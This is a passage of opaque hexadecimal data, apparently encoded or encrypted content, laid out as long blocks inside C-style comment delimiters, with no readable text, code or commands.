4983050995330834e3a500309759f968687a464f5deb06d40f835cc03305b900ba48842c142e35e80515af30a1a7f12d6033dfe6bb12a9298b6a201fa4d4fcda7f3b6c6a54b083dfece3eede4c97c2904eff1122086515b0261cea5cc78b926d510e0e6a4a5748bc0133faaec19d95aa16fdcbe9e54527676769c94b5af68584b831854b23f8d8e9bb684963ef1d295340e92453a8121666ea59744b40e46907464f78e9c36454ae7b92df68f592e4a2c6d57db0916f8d2670db908b2128ead04fd2b42428563905167d69660f4fdd3d6ca21a4893794d008d55d01c24ddbae49f0d9938071bad1673e71ae21c7cf66dafbef01ed26ebe5029c225c1be20676b1ca8308acdc4b47001078ee4cd0dae23fe226eeae3bc2c9bbdb10e9157bbfd8168f43f973948be3b0831e5283936913e632b1bf3e048aa373dfa7aab9827b4b3b0e22e53198601fb84493ea18b972c8b6fc26851bd2518547386af75ddf90862acc4ae2b966a57525ea2d0d4ce1b129e7cb767863c1708629700ddfbc8f8f9cd7145d817bc0ef76f8b3c8ccba789457ee3a0fb63db8defe7ae27a68d216a8cd4faab357d1a572b7c8b0c95c0b6889ab15ac99700ca6c3b62a1aafa6fdabf2721bf0a532c34c8c3d79ac7af69023d57bb760a80d2dc606450853be83e56bfb8935524732f6967c0f3e15deb26fb75357f369f808c4a609eb6263d2b3b78f5cdb100556f1b1a6d4ea1d3e35de1fd024d0a30a41412185af6e185db6a49949dd4597002dd81eeca0895cf3d07b73a37e1a333900459bb97ea98a78ff3b5f4a8ef2148ec9860615dfc057d25bd9cf72f524dbebb5792ea4c9d589564948a731be79e7843c7e6a360fc8af1681f2589602d4f62da6a2c2dae6626e88b64b1dd66ca1359544a4a1884cf5488f4b5a39b3abab0bedc66f4b4ed1a320aacbc4df10f8a1fc911fa76d4e9cca9598e035d0c31e3e80a81332e7e1127778552eac32e82e255106d9ff8fc4abd3b27cf1f7f5f1ad8966f1ff3612d455d361c4409a251a0ba991a4177fd1324ddd500cb6bafb2d0ee5c58ceae15ac1ace6253cb2740367cc843aa5e4cf5295e4c8ceb42a015e3ec91576b80e8cb0d78072788aadf2f5b114fe5ba1a2231b34abae8612b4d81d85603046bde35a44234aff9815b241cf4c82971470bc6286c3c3f859ddece397e74fce24e8e44333e21ab9e44ab2b8635b47019030eba900afd9092f7fbb992d86441c5679bf193078b03a86c8a59ae1fb0521ca180ab9bcbbb0b42ac8f4fd8923112b7e95b13abbf758cd1748147bfa40744d423afb1d19bd5fa467f003376057b076a1d2c5a242b7f17a7a56982a066347b18ed6aaeca60acc555204dcc1b7b899343b853278c181ae06f680f087bda2f64c69a070573d8215bda8eab0fadf33c1a38a8a4c0941fb6a6c09c3ca37b625b486b338223e15af0d4631d965b319ed9896692ba1eb9454463a0deca44ca1f2e05841f119c7fa34a5a7f885d09f4ec8f98b6bac1cf9c6d010481c76c2d32fe148390672103734319a4145a63b1534b547d5e3c7892baaf15027378c01128bce55f930f030a5e39bcec6e94f56878b1a7dae19f0a1e125c4c051166b0636971fd55b6b52754ce75e0dc7486d5afdec485ee113a657360c681e0643952403c71de522e1ecd5bf34d3f02631d6c1ac05dfd1de5d7f5f137e65781f3023ddf2af156cd8c3ebc9997ddd4f904fb21837e72a249214777aa7eeb12665cbf17b63f0717fba74407b098101ae9e3040dc8f93d79a2e1ff07b3ac8c6cb0abe9bbf1600ababe4e2a390005a294f626543a5d418983a5417b6c54f73e7effab444b290af8bfaf54bbb0ec14c1b41c80a2e3ec52ffc001102a9638a47b4de1b1520201c36b4a55c766a7d0b39bc8488f1b720190a34d08ee8ffcd4b21cc031e586dc57448b96c4000d07beb950740e925ece20b20b43e2b2329b79df0a530ece223ac9df7055ccd4a05786739a32b115ed35ac2bd7be71b88809af1323d4432447e60ed6c46bfb4fd79d053e33f7dc72d1885969628490ee9f06fc74ffeb0d8cfd5bb7c20cb5d6aa6423dfe06aea70e452cd4ea8091e7857b94599b7970598195949be362d0481b25c7f482122ae02b0fa7125a97c038ebded5c4f006103b45f9adda8dbcf44d7c042999ac8ca7a01b847ad9c514e7c36ee502284a47356e519e37c12b88e3da6ae6b99c1d4cb9d86*/
/*f2e51a951f2faa26f29e5419cffd77a105e6e361983b98e90536ca11a321973e2f94e9cc5f2fb8f68b1afd7f1455f046294d037f75b660e405c2e2c75c3d2d893119a8fdfe682da0da47cd6b835054db54d8afe24f25eb96838f732b9ccb5a6451722dd8756619c9020937f0558d6ee6e912a2d9f3a656e62e1eef64fe3b7350ab5685735265865d08135edf3694b738f93748804984aef6c0bc74e447faf9e3aefee3a34e9c1b93c3788ab8d850328eb95d121c985b530b226690a8ca0b7cdf3312d0c415aa87bc6753ebf86ed6f1376d8e746946dd9dba47178af8574562c7909eea559c540a3cc173a3ba3f19730051c48decd63418e65b9032d7630554b87184606421787eaf164a58874437f672c24a3fad899f746f326cb90cca0aea2bad4bd3ac2b7777c475a943ef30ca8e70bca924f06524dece9930422ab39b9ff78244ece31b03c9e1f36dfbe4f295c01505f993b02997f8097677525a6a0928743b77a7772a22617a7c3207f6ba9434a25d4ed6d59b50b5b7c7c162df9ddb5275332cd09e25c0c1106af97cff2549de43669c9f6887de658a98e053b0225ba7e3ed3745912ff5b323e5780a71cb0bab4d9d13e1d60679e6667424616023cfbea0efb5cdd75199caa49c5ef60e058911d59ad9b2311bae033da1c09620d9ba345c3aaf13e5882e4a465a64e27dd8b3c2dbd88d9a1ba189312604e4bc16ab50d617774f69f0f5c8fa410fe8772bae67a3408a83c3f03329eac652e6786444ee68b25eeb172391a8a7ef36e6839bd72c38be7775f0fd393e95ff0b5e98e8e51c3e65fb4d4c5f3223a015e826ab2ef2b0408302d6b1461ba7c7b06da0401a73b040988719f55afea7255f26137ff0fe37d238e9dce31f38721ece75a7c047a1abd1586b2e6f1edefbad1d81823479f5e93eae549bf8699e4201e80b1616d2dce4d9fb0de3bccf62940e42a0f1a999170748613a5fd7cdb71bd8aea3c869c0fcbb07eef794a5f77a2e3df5266b0653f22138b61d2cca8d2b259ce31d79d945fc693ccfd692314c93ae93d02bacdb7bbfe951d3eec11a45892c57d78f4df1cf38d2d5a497cf8bce39e0ed331652309518d65244f062d4fd6d81841e351950891c993d48f11804ee3bd569d51397f8a78480f05f0dd9d863a0e1c0548d5dda5b6e5b4eceb41399e26e851afb333709bc58bfec72c6cd84c57c29314b8445ee305a1ea156339db254971d6ccd434d92b2da995044a913362a82bca3a09c3d8c0b182bafcc3db6b7093b153e3f2e102b90d377e9bccbeb1daf251a13331ff29b6bd83472f58495796bf84fd1f1ee5dfd98b4961e60069815e4cefae32ca47474d7cdb1b4ea70bf61811fb465e56d8c067a3fb162ec677f69a2488d5c0b7900031e1e7895d343a64a19f6eb65834a38bfba3120190117528f1541351ec2846d38aa4e0b172bda6f55a7969c61a4492be384ea91fd89e87b16bfa8fabac47cc3a49934aa2bc5ab1870ed6735d620fcb5f1ab9ecbb015fb5d15439ffe989ae86252eeb99ac2d8784b0d16907efe04fdca53e9d28c6be892f6ee602fbd23e5d76979171925772dd6b524afa0ec7343485f4eca6682b4f4c4e1e5921723b66de964f36add473a513ff07007b3ebf3fba6e76508ef396192b803e8359840d948dd30ec0332d1627da0e5da277dcef54c348daa46b87c903b11e130e602d9f0a5c6f4ee7968b476c4fc04fa95088899223c20cff0e63e553b597d676110e000d83ad7fe0a8887259c0bba7c42e15c96264633fa122b5cb07f273a5c54fe7f2142e5eb623c9888ce80d249f7178cb6c5ebb86f46c3db6f3e934e0600b12532e5da48df10013dbb03032f969c753b74166294e092f38f5b2f29d526cf4ba111fb74a6525f39bdcdb2420253312a92b1e7ae36430f05709835bb3acb7c29e006f48eadeae899a6c739894880c6c36ed95538dc5f3c2e05d8f4dcfa4252abf78c7f72582c8897525ba088fa74bb492f0a05231384d780f4267b203f951a6d3cb5df97af45ed25bcf59f5bd879527df87da141df5d23e11aee44bf4f00bef75c792685a0001d2fc87d2ab354418996952e6d0b97e79e01c51aedf9865b3240efbfdd8d8326a040249fdc92a2e4fe02c6af3a85439ec4acf76029a62e5161806f371837b6bbdd4691beff909c0000e5f71b540925f07d04d78063a795ff2e017d4279377d4b461af3b73bd11a135125cab9c14bc23e80fd49e8b3dc342aea1adac5cb06da4d7c18175b4c97f89412ddf1f5eefefcf1d3e827b89cb68be4712b3ff1537414a59d3d64c53ae5e004ebe9f22812aadbdace7c840de98233bf322e01a91f3f5ad6b6a90577311ccc7fe15313ede2e612aa0cada6b6952292718b21cefce794826217b6f84a144c835a1aa0481c897e3a377e92a5d240931eaab2abef40101bcab81adfac9f124ce0dc220c5dd43445592421f032fa2bf7168ad9007478333fd106a1f80343123b3aa33b51e7aecabc404126dad762cbcf8b52495cadac2e922b5f982cd550153760edbb72f90d72137d722b8fbc1ffa2a15b5b4365dce6ce3598363e2c4a54614610a9f1e6bff7371c42f461d733a1cf25cfe47e0626a62e89e2c82e07ed233372d328d37128c1e98a657e1ab349e5b01c5aee8c2b94d3f536e81de9cd09496fd63f19af56e9077006f120b8a0721082ff028becc687fb0e7e8122bf2dfc4749572343d39f5a4f43e3a7e6ec9ccb61d258a2c4030fcdc9bcda9ab60ed7f6499be7442b56dfa9de7751b811cce5c219a7c609588047980d4ba6dce43fb1cc17362971f24652be0eeac7fb8e2d537d00327*/
/*c386a6eeabcca51f1c6db8e49a62d1d524d31bbccd9d7c45b9e453a3752ae9db0b38901f0a6384865510a23ac39803473c84a712418bd66afe071f1b9ddbf73c62d5bc09fd7fea7283019246781016572eff8f042f41a6dc936e2770c9988340cb5a4f3e2cbb63b8e1317574a54a4500083bb0e7f163deaf0bf3b775559693d1eec2c1ef07b1f042ae8d4ca8f4d733e2f854d12f97618571d830154a1005d4fb0d27db86de5ffb2bcb041339857531fb620d0f5ef5c96e913e7c41db2f1494b79786c835a70057f0048b7012545e03b10d296005ba11c194c681e8d2a42ce0dd4de8ddbd903dc11dcb700fc230db34a8b1b2197ea38cd286c8bc4142f3a6245f6b8fd186827ce2f442764ac07eb81f2652ccd16f963fa732007444cc54fa56b3729e7e351df941cea7b3b09e366ce507aef6b2a253cf52f139de555691c15b2e4e769c83bfc057065e1de043af409e4a87ee7afc32524a6c5a178d9f9e88916b82a112e64bb2a9b4dd49d08c217a3d9b5f26098f373a90caca555803926d32beeb0558d0055326f24987f5011bf15a7dcb55ac6cc5cef1707714438830012ddb310cdd3d0ca944e56a154243edb18c1939303e0fc0a65ee75435786a41a691e2f1c347d3beea1f2b30486ff41521b3456815438d74a7e099131e1d3b7ec00bb378fb33465cacf1dc48379fc7da773b95a6c4cd5a8f1a5bc1a2a14499f5c5ec60b1bc87960700e5f31002c0e893073c9ae602b54335c130b6e2970101668a6af264a4ca1eaeda1407871a82276a9e29f527cc28595dcb696ed585d36072a08dbee48a59101640a471f7de578e315e8b9cd9830b12b844be8a6e751a14874c6b8ad7eb54045aaf0abdefb2c4443899a5af83aef29421a421acbd0beab6917523e985e720e83b410c3ec9d0efd2cba9ebed455df29ed6c645f40d6f61a99d83552d024e4d46fa2eabeb1a46b5f0b1c264fcf748b9e45f9edc24a7b054733230a3eb753c6486cde48595a80ce4765419c922de93479004b08389997dda63120403474226f01116f7d40d755b90c13d4e139d638978077550173d085e3e3e525d525756951cd5ff66cb41c49a35886dbecf384bb08a6f001509e0973cda52ab77916130cb91a5f70e115cd2912982066e6285c0605ed45afc5549a018c83bc8bebbaae930e1c68c5615915b32e6938f3b00792318b0d12adc8d8a25fb07b2f68de316ca3148c8d1f8175ad560a3401e1caa336b204aa0da9c532278b8542c523a5890553cec296a60c738bcab96ebee3ccf77f4fc84d5c831055db90855a06282c9780b1beae365410b29160dd7316f5ce6714c642ff8c3f0ff1ce8796ffa9a3a2a55e24a9e23fce509f798615e0fb46845c36eba63ecccd15a492d3f8c9ac01b8e1bb5fc1e9c9738ced2e8a7f36c2c5365db9d8715996b15b683be5d05ce195834079800d388e146861e868dadf2bee65078f1917c29b5803ba2d20149e4242a4816e3feef4dd024c492da3d719d6e9eff44804774de4345bc84523652a20265a54206c0b5398d3a79ef59de4582ab3a8a3d55f50a6574be8de3ed6ecb853ef71caca5c16691d1d6678f1894dcd9ee7a7dbcb435a22035a98ff0f3bbe610d9bdd669ee9e6f9c414cb6edbb9e5c9d85a5101796e1be5c4c3e7371d4b274c4ccb6b2a0e5318564d8de219229a685552943fce167ebe1f0a024e0fca1d6652cacd37139a0edb1344367ca82a18e4ea9b9170c808d3f7343f43976fe0e72065c814bc3a4ecf4368fc487053312ea56dec1b8d23147aa2d3b814d5d0275dec9cd6081177b4282dbf243fbe7625e30987a008b50e97132c074481a3a001af4a2fb091dc3a4bd8fed6ef20c83ba485bd0bea84c838252c21a9c0da568ba6c72919d7250c5d9eb2523ab6082b7b05e765ea2e523bb47dde18c71a8b46239259d7df57e02754d4b3dbd9aecb079e7b5cda5ec503d142e48a1c1f81c1e64b822e14b0c0e470bd8dac02a1d769572f8f2ce7e2d2889aefdc2e40bb1e2ccae496690fedf66b33c6088dc78b1c6abf2936b41b4b2881a84561c96141955072d7b138a449dab0772b60dffa0323747e93ca070638810f202193d5e9d3d6d97d6fe9f67148fdaf8331aca52f53e044c31535a27f0bbb4aeb36ee6d8ca4d3d63557a43025b6a824480690986e7ffed62abe179e0c9e4bccf931af8ced1eb9d9478a1fbf18e093f61f97d05edb807f043aee1088e74aa2aeb3d9e62810d45249a2ddfb1548e3584a94fa887ad23191ea61ede244897216c253008618c0d0a63c515831181ff8eb5a9d71176b382451d9d9aa6c92b818d12e40de131653169aeecbc9d5c636669221252e783a207b8ca7736f91897c49800ec450bd0519a714309df10829e91986b147c764a06e69ff953f8d1dee74b1372aafe88ad6535c224d1b034b3794350440b43acd28f3b80138e57068fbaba77c2f4ed7da3f033c6011f90bb21f25553003cd69a597affe42af8bf413ad1fc31a999abbfac66871d1502c5d43c529aa282cacf6429a3007d59b3033a6a498b335d7ce0d67a39feec24daf07e39d6dd4fe1ab187e8ff49fc0911517cc7692e08ccf9e702908707aa636e7fed22a9f0f0f96bc93f6409a9484fe8640dc509416a9cd076957cdba4eda0cdae6930cdb083f6a3d05fb0a0f29b59857387fae62ebc65da66d921fbb3185fafce4500ea3e3fa383363d539912c290e409ca70a8e2cc538d329280cdeda74b348a220f54b30ec4e071e8e7b2efa4b7a271af7b045d1bfd534962be6bb7f744f3acde9f2932cd95066b75445160400fa7f2b7dcf3c03e1fd9e1769*/
/*49ea90a9e16d03a7ff9adf11ac6ca71cc6754266d325a2334e7636c0089a350302b467f96f83e1d8642b4d326ffdf416f87f137eb17e829b5e33dfd63e11d2f60ef56de492ccdc192afd7f6193370d7a8cc562e69371d83e11e3e26cde8212b0a76cbe56436ac08dcf40cc135f5cb02df2a68fa7c97ea503d111e8e0f990ed4a3ab80ceba65166c7c6a05cd82eb673d975bafca6440742c98226cda3e1460cab72487cdb80f8a13d12fb0166f3f68761e106644929d18e23924c44b8c982a74498b29670c655d2f32688739b344b85de65175194fbd8e87ab81d13ec40047dc5aabd0c502adea6850cd5647fd3bee195cf2b79241f0cdb71187b734a8e7b4c64344f675db1d73e00b37b6dd39919a7fe0098eeceff71738391830a44f19fb17bbe018dd0f6452cd6f8e31e8a6007f1a32eb6067e5b98ec7ab01828d3eb687558f51eaa1c1db8799ff79e03eb30c448d730f2884e19ecb4049dafe32e179761ffd6d365062e04afb2796edfa7ee717807313118ee824a3b733d8929ceba192418e789200b9ad7bd1ec6a4a53e88ced9e375056cd82e4aa819295051f25a75a2c8e52764d923311b9804fba9ff5e851d128a3dde94aef3366ae2b6971c48cfd43a1afeb466deaeff802463045c42eadd8bbafed42b160c481d3209fd1b0087dcc1b2708a7070160913bc3c09cc9fe0a90bb7419c16a69135b1ec1faefec447fcec620642cbd76dbb39fb1ffdd4b2aa058b461524de037606c2638bd8a38dc5e654ff5cf9bae4cb99b21dfb9c6b4e878470bb05a4bae396f25af93307a78566006f08a9176014e0a0ad9f4e9287dd7d27ca1d28941dcf278d7f923138737208e152f7cc2001a94411d8f0f93563e325a4a20ab71e87d0be76cc767c5f7ada6febc379c72db703e4980c664b6b83eee39d47ca7a07a8281482e5fbb4be0999ba03cc5359b34ab69f5b806dc6fc5c75d6b45ffe265f185a2914f9b87aeb45d3d8cbfe48871bca602b0d1a4dc698f293f7df5bc79c8e1deb956ddf99cb9fb8c6889cb5a99d2ac934ed7999f3490e485a6b7b3955dbca20039dc89e2dcebf4acc28d8e90d8117b2d2a69fbf109f07256bfa2356ee213743d3d272c5d509e3a6aa7c4b688a0c8e1fb97f8ed9168609a2b05cfaa75fcd43320206dda35b0b96558976ec13193b36b759b1dd261b00b0b8db0710983db0f03f00bdc144cfcdb8e06d933056ddb77849b77fc06774b67dda956d2da4eb8bab8625179e4ca6cb6938b6b6c2b84c68d8e86174f65bdc7c420479db386e06c7c54d1e77683d03590c9adacc82731724dad3008d12fda90b2f86ab96f55e0f349aa919a1f42b36802f026db343ff164ae17ff3a86b17c42e052f45fbdae6da2a645bc2c966992ecdd5ee99994474f12c1cdb0da9ca9c9f75ef95e650110a1d118d6432c046e4e0695b4993d50eb8368099687a5a3da8b44389a15c9a893098edc507b982c5b66f255ca1a35d83298464fb8e089e4eb4957fd047a5e110b83fe9c66c8e3a1a30b252c2f2c44d1877d2249d2e591b736b8bffb01c0044a820e4d317ecfc60f4fbfaf240742db24600d361201b93b2550e0793d75b82275157b691e1520cac4fa0af1adbd7b90034722fc125dd0f7d9d84a5afeefae1624a5d305699d3948326012ee961498817270d48fb41e227de16c436bc083430ca438a00105923d4b91169b02d17fbe76943189ed877e30acaa5eeda55f239e4ae9c3e7bb17440d43085a58fdca74eb381da83de105386b571eb587786c372eeaa2506ac7a8d5d5af3e0bc7efd01853b3a292e90b9007f0b34e29ad8ff4e1a8c074cbe39f36518df926287a149752baa0eaf1d0cd333191de2b2f8778e66439dda49ab8929fe7373f52a2208172a05d6ea7692e04eed3882cb41e702a54c38903a144ce2526ae1e5c26acb5f382e36effbda62843b7bd81245721e9cf8398c4caba04a4c0958c1f2eb26a39f115162740c2e4b2a87403b652fae1f044b03ad7f5521a72b7945c06d20f83dea96dc26d7663158102267e21bb799c768f7e2140c38d3989a1ee5dacc395a1690e2860d08a4fa61452a2b6230db8380ce8c43a0505c4a3ea4b7d99ffd6ef6dec9e52db4917a332b6f34207bc29fa1440c03e1d3f280892a6559bfbb19a405deef24fbfb2b29b2438514f4071ae7e542a73d84fb2d9fb7d0a51677f6e1f7872c251e70dd7ec1918264d14cadbbcffec8dea3f17e02ba6a10721e36be910565acf13497f8926930e8d6b884dbe6066c1d8978bddef0bd4de82be7465ca364ad25dffa92e3a55aa2f757f5d6169040be78e915ab378e9899251463c0931440a460ea2150cf1b6e14141343ade164f5cf3ae0c793735a26c2f5c69656bc4dfa3bd7b86577dc9bacced2afc0c4e72e7cdce2c6fdbcd825008bee0e90d9e25583a905f92dd62ffccc09c370fc8825bd8d695e4bd9dc7d2e6c177c59003cf9805db8d8f8f4374fd8f6cc5e26299b33976d4dc72c0785fc07b0a93b4eb25acd7142e19255413613e4b18c2b4b03d44a0f14550a86f28ef00e08effde3dee7ebf17c36e3f37ebb39d3e242ee5625c96ded97eb9a8906b3f24e72fe49d9c1d4c3faab774e9ece8ccb5fde62d97b7ccc9a1b05016a4f33f83218c3dc80acc541b8d0f5c7de8e96a0353233832421d98a6a933a783b369630be0b517e0cf7efef4fb9c3a4c7c1288ab3c0b78e8681088168773acbb3b771a38f7d24434623bb5ab30c6412a53a67d51baa846915a6d6eb5742cd899f3730114b60b2c6ce393fbac7e2c080b966819d5a255ce4a1e6009210ed662b051a55d903a8bf4694*/
/*75d321a1cd80fdf5becffa6b5740a59521163b2d7490854d7be04497258a58c52e50c83126d61e7483d5678fa7bc9b98df9122b808723ca7fdab22f072a53ce47428e2097974e3f6084968fb8b5e4da10cb43193152e0c6a7d9f8f12ba99da44e7ff96322ad3776b6b885eb355d1cdcbcf7d315e168542823230cf3bcf9e07a7dbff1d54f796909bed36b3e8977b5c7e88066554333b1a175d5993ced3aa28da61c31d98bc88281a4c78214054568af3e499636f02ca9c5a067eaf4f26f9099eb8d334175820431081eae7fce88335cd53c71a51b77f73af8ac88db60fc421a3df9736e9023643ee3a68b0e4cdd0a200fe1cd8375abb78cf49fc5ffc0319e9683879faa265d05209508188ebd3708313628bedd0389cb3b86972376e4dd1e8ba4cb0444d1eec4cd4c64f0f284187c74af038c4e8204eccd8926c112f113035409f99c908588a3d3feaf9cd3deca8a6d97c24913348500d5c7a3dea3302f172a4877dfa7d0ebc09400655cf5bced50bd2265d6e8909bdf680d5c84bc7c47fcd677a23bdb3236f4f5002beb812aa18947139c5d21c7837cc42040be147bc2c290dff062b6c1982ffa06f4b646005051bb8740b873318198704c3af5a88b24c33df5cc29accb570008d12220846842d59eee40a33d84d8d3186ff81057f7b5902e2464480d0c48d3a26d7e8cf9ce803502638de0b4df22be3abc7311342c0db86b9233973004a15b9f04c103e85d158228ba89f8a4f950bcee115b37def7348009643e10ddbd9d95b867d1006a8d7c6c81571b0fb45cbecaecf67a5dfe984b9d37a4db06b0c34b907415f08b7dc42696cf48c788ddc4931c0349e41e64f47ab57dc9675091b7e3c343744c8a63c639b092d50f2eea00847728a97bf9ae289ceade639564ad2881ff31394e83cdad027072302fb087f6fa4f0c972da848c7824fb504e866869f4f1060d2117eb7ea0a8a42a55071e575b7c28cb1a4dfec70bbf13e5b348ed99adbb1e5db3d64824c944918e787d8449794135d1b52ea8839c6b1f9578c7318d3d6b8eea236af8c0ad5283fd4659e0cfbd40d38e4ce4745058990e81e72509f9b067e376bcdbd3f302f5fc25fa7e2404ad2513227d1f7fa21baa52fff2a7aea76db51f4f30095dcadb4be9525b4947e079119587b752e97bac1df7a170995a4bd47619b1bd408d7985648eedc5f77b43fc206cf32f04567243688211e9ef4a0fe17c0faf12d070ea63a1cb4e858eafa24d46f247c4f3c01f75f9b71f51296fbb6f85622ae29fb94a85760a0ac417fd9d4da6873232e1a2bbcebe1b5126ff1205e76e4d70b07671404b2fda96ebfbf43cb43d3f3ac655e58719e468dad87c1027644d4938fe18f5107282cdd63aee2bde65758a5103a6cd4b3d2b30429bf1cb89a48029246c5ba987d8f957cdfef90c9c3a347c7508e9ee05897f5a8268834b50d1d1955d30e0bb3fc0e59df053d857dac907ecf0e1bd3e638dba4639338eb46eea4a9a5beae9624ce4af4460c7b2b9f2e5a5d061b8d9ba8d3dcb2766b6f7656f67199284700acdecb2a96d773507f3e36a6802ba24980f3fc5fd0dadd3f52c0b2f9faff180e2dd057f36585b3e57ad1c4dce1f634fff0423825d5289636b466dd62fb403358b263d2bdab8ba1bc24f6a22a9d67296bb95fe7c61748ecf4aa94ea43ecbfceedf90d69267f264de11c1e0f394d50aa69eaeb835388d246a589f888990cab09f4984c767a62dbe270bc289e6ed923673b723927653fd134f3f866d9d1690bc1831079fa20ec502b5b9df448bb7281f19625ba272dbe6185add01198d485a719c31a40caa9ba53922ac2762e9898651c1067e268b8b8018c4b86b38fe9c66b12453f43fe22057ca848a3729eaf481e5dce09557d3fd58a6d440fcfaa8f60b15d5a3bba73bc354a266a16ea6959ab98098a577ed33367ce259affc2123e551cd39d2d353de4d147d2db2b0d28aa3d4c6c1cdb3efdaeb97ee5e4be0c7f9cd54d8060fbf0b4d359c0844230ec2cf877767315fef718c4b50c07bbc89950794e5385d199b0dca173e227e5168a9f093982b2439e057b06ee20604e18acc4b180759dd7052889cb96e4ac8610ddc03d414deadd2a97e10c68113b234dd27e3bd8b5f2223afbdc8b57cc6686c4e965a14b71afc099a0259a470cadf7c197269f20edfbd30143bbd5d7a4da5d7413026de3599d09446405f9c4d8a9283f1ee4c0949e400d177f01d7c6d755ef6292122a58a720c0946a8f7f76dc7e5d3311b8e113b25574a656887756d17732dab132d2d77878702d0a5a717e063aa3301ad0aae60327f1c8a4851ee1abc69d7da4a0c48d35770385f197c4c552af7bd9ff3e372b91017593a496dc3f5aa2a694bb13e316eb60c78c9deb164c867c9962534b0180f47447db97761a2bba7c124cc7e7a6262a61b9d336d0ba2d96b16eab81ac6aba597aeb058adb1748fefd78be6319cc339d2a20b82bb0f6e2e8324540d72cf8b0e57ed5a7c151b73fe6aa0e4d127aa9e55161a53b25e0c81aad96f85a0866a379e1e3432929e4eee877ef22304e93e909d2dad7ca6b70ab13f06ab3cad7d5ee9c5558a20b6cdb92988473f202066bcb76b0a7ab0948ddb842540d6dfdf2d188054c4d497a58ce439e4a0c84800647533fee1e8ab3c029a64cc491b5379f5426683fa432e249fac35750d9f8c17f72f76fdf75eff9cd78bcd867e81f99161a8016d79f51b233fbff4003898fc26ce9b8f3b1a262e3899bd2001bc101d574c4da3141af832873296e7ec0192d3d0fe0693d83612d35687d3bd05facfb07dc4029eac2c934d6c93b6ee2267*/
/*81deabb162189e02b565a935c54c3871caf5e541b7215f6e4f854c1dea3c42fd3f5db1426c112a8a682902a6878228e358534554dfdede608dae59bcbed62d8245ef2325b3ea9c0614edfcc47c5355cf791f9317b95293d75687943bfe3db84a7697c11f5fcc45b712e7242433c2dba101a8aa1c1df05a99adffd7a1e4861859d8268e9805b0e1fb049bc10f2bc4ceb6f2ab83acc140c8300463a76a511043bace1949eb54713ac524418fd2fac6ff8e247f28fbc642fe3e6e7cfe67dfb272958116c94ed34f8e5289778224b732b38d8e36982867002063adb599f2c8c2e8ea20d461ad08efa1d599adb5e74ca19debc325ffa8636947700cd5387214001ef9b26585ba4182e45d12c6a42f72ac67f750d405d2b75b8d640a5cc424cfdea6f2a34fe81504e532a458fd8d214f115b6ad36015f9d49e91e9f28aea3b343ae8f562c13a7decb186b0a8156f914c98b216e37039a5010a16cf7ffc026710a588e25eae5a19cf73350e41e09a20971b2ef7f71c6a1f1d65fd53e8ccf21c74374a6a07afad1a5b2f91eff25e86b26253a7d687c5593139a9a65cec51209f15fb33eb033d7c3194627cd912338a2bd1b5e4070869d30b5ac2e0a9ce6c6024a754d6c41c292ae23a3179ff1cf06b1168882ce3abb88987743dd703cfbf6a1a346e48cb2af97c7cd92d0b4a8b51bbfdbce161b06e25190f2d761611ffa3946aa993adfaad258642f1007a247748af8923168dd58a5de26310d48d8e4f1d3a63cebb64c3051f1ce234b8e6b651cdaafa23f2062da82cac33e6c34ad2ea9dfe043ecc2857b29c633032d92bbaad77b255d54064a15018b4a5459bd7f42d920c2500813ffdce333a458d34c9ce6387efa2b463bbef67087de51f06b1ac30ff4edbbf7b1e1307bc1f25fdb255f63140fa4bbc05c786800b8d0e9931b8695a8484cc30ea20c6450c1f7d803c2dc84a349bb06313522a9e7243591e35ab9c849da5c0d23ee43cc7ada587a17359a960f41d12c8f6658206a429077b0f6b0d25328aab65e81eb624205bcac278bef41a6a544e22bdb36d54270dea28a932b59505e8b2d0a05ef0075c44b267b2bf9c3241e8356511a5035f8c8bd87172a808456b466c140fcd312020379fa11887b35ad62a2ccd071ab8e96503ed530c59fdf7391f6a091b638639ae606eae3f34c2ffe331ffe56d95c5710f219cdfb89572604307dfb7d535e6761fb0a791101af5ad1e1b10ed31d0c4db61a38dc33ffd71a36f98b65fae72e76b2d160122e5fb88e79c00f6e39124af1a5476fec358c654b609047ee2cc0f6f70b538f7857a6afb6c8eb6558e65df899a9bd830eae8649dc80941ee86051d81739aa9170b23499aa9b41d8e889d2a2b29381bce01bb0244b7a329969ef13dc164985458340c2dba6c9b24adad415c1a562d206736397511fda9d31b3c51b66b88fabbded2393b2497c7b11dfef536b2abdf4432521eb03448fcfd8884bda20444870228af0ceb96e2606ab0817336527a41df3021f83ac36ebd7835010d80513d31bab1ad3a11c8f3c2cf29270f7d901fb51ed3881af6ee6aa91b4474fdba0671e44c02e7430929ea3a0d9270d76288826a37c3cb734767e2d130f306e225bc1b347728595badca3e02a2ee5bbb5689a82b244eccb90bdd1e7d59c4c6a85d78729d16d43c6db6cc603d77996e7fb5706a8d21eb08ee74575a8b23540c0d798a635d746d76d9fda6a0ed3d9586dd4ba014ca2e719c4ead1d2c2e2635c23379084d4adb8f819fd475c30138e0175f83f70c8d300c01fc6f6720211e7219f310c583b9d11400242b04e43661d394822bf01cc444b91e92acb02559dd5fcd4a44990f2be0ee8348733f8f708a4ad0b1578dc3385ea93778b51f0565be3191000367a671ebbf875ad46d0a47a55e8eee7dc312c15a1797874fd37de501e98b077a38d8c70f128c44fa7cb0be894713e2e3ab38b770518fb2e7531e08d7e8ad1d75144bef217a6f0e454e0e49465e5f581a678077130de6180814bbf2652f189ae3d58e3af7da6e46bafb4ed5dbaaa8a4a9afad48d4c4b95ac3972d5c8a8f09fe0fba1e029331e9def911d08643b1338a56fe47cf091fede5bd4161128bf9a05ee8393439cc3099885fee351dc3b40f7002d396b0b4956e7974fc668a72be0a8caab92eee0f21b6611a14e1bf16fdd386345b28ed4f32a9138b900b994e186c9f8770fca0ad291c161fe39b2b1250393c032fd62330cc691915eea9fcee8d4aab367df2a445f1146483202753945c2882cdab9619bcb7da5797d9b7e86d94cf9c1e545926b644762f9981dd9010a55a575fff27b8a63def205f6b3c8f7bc2e23df7e0d0c5b43d17fcc1334ee0e3fc6f28f0ffc7f3ab4a996e150fd90bb5eea5cf04353fd5000be27e533250e170d75ec8a60559fcce4f5052cd7e0aed5ae83070a77f1d74527d7c9767a5a155a4922d360340eb1701f1e01241005d240742305807635473d93ce278a06554b7fa35f61da2a930e8aa30b424b8f486976a3660c2ecc3714dec9652b17b7c984df37365e654f7eb2beb8bea1180d32a862846496deaf11f65500d053a3ff3a9ef01466899ffabcb6d5f53a254ad7487ef51abd8ba96c4bcea922ace83e08dc6828b0705a8b35bfc0d8b2306c8015fe0e8d29884974efc920556ae9d4af51dea694e2ea5dfcaf288e2d8a0dfca537c8f6959d7e7e160c926202dfd69535584900d4874c8c0745fd726ddcaf65eabef3f8c9c294b93a16c076d9a51